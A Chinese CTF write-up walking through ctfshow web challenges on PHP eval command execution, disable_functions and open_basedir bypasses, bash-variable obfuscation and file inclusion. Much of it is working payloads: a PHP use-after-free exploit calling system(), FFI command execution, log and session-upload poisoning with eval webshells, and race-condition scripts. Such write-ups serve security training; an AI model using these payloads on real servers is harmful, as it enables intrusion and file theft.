代码没变,应该是开始禁用了一些函数,考点应该开始是绕disable_functions了,show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web60

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web61

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web62

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web63

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web64

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web65

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

show_source()没有被禁,继续使用

1
c=show_source("flag.php");

web66

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

终于show_source()被禁止了,我们寻找新的读取文件函数,这里发现highlight_file()可以进行使用,构造payload

1
c=highlight_file("flag.php");

然而…

说flag不在flag.php里,我们使用?c=print_r(scandir("/"));打印一下根目录

发现有一个flag.txt,那我们直接读取

1
c=highlight_file("/flag.txt");

web67

1
2
3
4
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}

这次打印目录发现print_r()被禁用了,那我们换成var_dump

1
c=var_dump(scandir("/"));

发现还是flag.txt,那直接上payload

1
c=highlight_file("/flag.txt");

web68

1
无代码

这次应该是吧highlight_file()给禁用了,所以页面连代码都没有,直接报错,先查看目录

1
c=var_dump(scandir("/"));

还是flag.txt,这里highlight_file()被禁用,我们换另一个,使用include()函数,payload如下

1
c=include("/flag.txt");

web69

1
依然是highlight_file()被禁用不显示的源码

查看目录时发现var_dump被禁用了,找了一下资料发现几种读取目录的方式

1
2
3
4
5
6
7
8
print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

前面4个print_r都被禁用了,我们使用后面四个任意一个都可以,原理是通过遍历数组的形式进行读取

1
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}

得到根目录下还是flag.txt,那直接上payload

1
c=include("/flag.txt");

web70

1
依然是highlight_file()被禁用不显示的源码

读取目录

1
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}

上payload获取flag

1
c=include("/flag.txt");

web71

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

本来这次想直接用payload读取的,,结果😢

1
c=include("/flag.txt");


输出了一堆?号,看到源码中最后有个匹配,匹配到数字字母就会被替换成?号,不过因为这个语句是放在eval()函数后面的,我们直接加个强行退出命令即可,payload如下

1
c=include("/flag.txt");exit();

web72

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

首先继续先查看目录,上题的paylaod不能用了,继续换刚刚列举出来的另一个

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();


发现改名字了,flag在flag0.txt,继续include执行却发现被禁用了,接着悲催的发现这题有open_basedir和disable_functions的限制

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

然后想上蚁剑也没有bypass成功,去网上搜了一下可利用的exp,正好群主有现成的发出来,直接拿来用
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

通过burpsuite抓包,然后把post的c替换成exp,接着按照图中所示步骤进行url编码

发送数据包后可获得flag

web73

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

老规矩,先看目录,肯定又改名了

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

果然,flag文件现在是flagc.txt,先尝试能不能读取,好家伙,能直接读取,payload如下

1
c=include("/flagc.txt");exit();

web74

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

查看目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

这次flag在flagx.txt里,paylaod如下

1
c=include("/flagx.txt");exit();

web75

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

查看目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

这次flag在flag36.txt里,好家伙又读取不成功开始限制了,后来看了下hint,这题用的mysql的load_file进行读取文件,payload如下

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

还是在burpsuite中进行url编码后发包拿到flag

web76

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

查看目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

这次发现flag在flag36d.txt中,还是上题老套路,用load_file读取文件,paylaod

1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

记得进行url编码,发包后得到flag

web77

1
2
3
4
5
6
7
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

继续读取目录

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();


发现一个flag36x.txt和readflag,题目提示了php7.4,搜了一下是利用FF1拓展(php7.4开始才有),payload如下

1
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

这里flag36x.txt读取不出来没有回显,所以利用readflag那个文件,把他输出到新文件flag.txt中

接着访问flag.txt就可以获得flag了

web118

题目提示flag在flag.php中,打开页面,有一个输入框

右键查看源码提示是:system($code);,fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(root💀kali)-[~]
└─# echo ${PWD}
/root

┌──(root💀kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t

┌──(root💀kali)-[~]
└─# echo ${PWD:~0}
t

┌──(root💀kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t

┌──(root💀kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

┌──(root💀kali)-[~]
└─# echo ${PATH:~A}
n

┌──(root💀kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos

┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}

从中发现我们可以构造出nl命令进行读取

1
2
3
4
5
6
7
8
${${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

${PWD}
/var/www/html

所以payload为
${PATH:~A}${PWD:~A} ????.???


然后右键源码得到flag

web119

这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat,而想要匹配到我们至少需要一个/符号和一个cat中的一个字母,这里使用${SHLVL}来配合构造/

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。


一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION

所以思路很清晰了,构造payload如下

1
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

回车后右键源码看到flag

web120

这次变成源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>

这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,好家伙那我上题还想半天构造数字2(太菜了),尝试构造如下

1
2
3
4
5
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

但发现长度是66还是超了,接着我们把${#}去掉,也是可以的,最终payload如下:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

右键源码得到flag

web121

1
2
3
4
5
6
7
8
9
10
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}

这次把USER给禁了,首先我们现在可以利用的是PWD,也就是“/var/www/html”,对应了一下bin中的命令,发现我们可以取r来构造/bin/rev取反命令读取文件,也就是我们需要构造出${PWD:3:1}的效果

1
2
3
4
5
这里我们可以用${IFS}和${#}分别替代

${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4

${#}为添加到shell的参数个数,${##}则为值

所以构成payload如下

1
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???


接着去kali里面再取反一次即可得到flag

web122

1
2
3
4
5
6
7
8
9
10
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}

这次把PWD#都给禁了😢,这次我们换另一个命令/bin/base64,这次放开了HOME,我们就用HOME来获取/,数字1的话我们没法使用${##}了,这里使用$?

$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

这里找了几个报错资料和对应的值

1
2
3
4
5
6
7
8
9
10
"OS error code   1:  Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"

利用<A的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}来获得(因为具有随机性,所以要多尝试直到随机出4来),到这里思路很清晰了,构造paylaod

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

写个脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/19 12:17
# blog: www.wlhhlc.top
import requests

url = "http://3f405f9a-8ca5-4519-aef8-95943df5d5de.chall.ctf.show:8080/"
data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
result = requests.post(url=url, data=data)
if "PD9waHA" in result.text:
print(result.text)
break


再进行base64解码即可得到flag

web124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

分析一波源码,get传参c,并且长度不能超过80,设置了黑名单和白名单和正则过滤。按照提示我们去找找一些数学函数进行使用,这么多白名单也注定了有多种payload,这里我使用base_convert()getallheaders配合使用


注意,因为正则会匹配字母,所以我们需要通过base_convert()进行一个转换

1
2
3
4
5
echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母

echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功

所以构造payload如下

1
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 

这里用一个变量来缩小payload长度,但注意变量名要取白名单中的名字进行命名,否则会被ban

成功获得flag

文件包含(78-88&116-117)

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

payload如下

1
?file=php://filter/convert.base64-encode/resource=flag.php

读取出来是base64,再拿去进行base64解码即可得到flag

web79

1
2
3
4
5
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}

代码中把php替换成了???,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下

1
2
3
?file=Php://input

post:<?php system("tac flag.php");?>

web80

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}

这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了


所以payload为

1
2
3
?file=Php://input

post:<?php system("tac fl0g.php");?>

web81

1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}

这次把:给ban了,题目提示使用日志包含,之前都是手工发包,这次写个脚本来跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 19:51
# blog: www.wlhhlc.top
import requests

url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
}
data = {
'dotast': 'system("cat fl0g.php");'
}
req = requests.get(url=url, headers=headers)
result = requests.post(url=url, data=data)
print(result.text)

运行得到flag

web82

1
2
3
4
5
6
7
8
9

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}

这次把.给过滤了,日志包含使用不了,我们使用session文件包含,先了解一些知识点,在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off

第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控

简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)

运行后得到flag

web83

1
2
3
4
5
6
7
8
9
10
11
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}

继续利用session文件包含,使用上题脚本运行即可得到flag

web84

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}

加了一个rm -rf,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag

web85

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}

这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotast' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()

运行后得到flag

web86

1
2
3
4
5
6
7
8
9
10
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}

继续使用上题脚本跑,跑完得到flag

web87

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}

分析一下源码,get传入file,post传入content,但$content在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行;并且还对file进行了url解码
我们可以使用base64的方式写入文件再进行decode,base64编码只包含64个可打印字符,而php解码base64时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以<?php die('大佬别秀了');?>对其解码后,只有phpdie六个字符组成字符串进行解码,思路已经很清晰了,下面讲讲怎么做

第一,get传参file写入文件并且进行base64解码,即
?file=php://filter/write=convert.base64-decode/resource=datast.php
因为源码中有一次urldecode,所以我们需要对其进行两次url编码
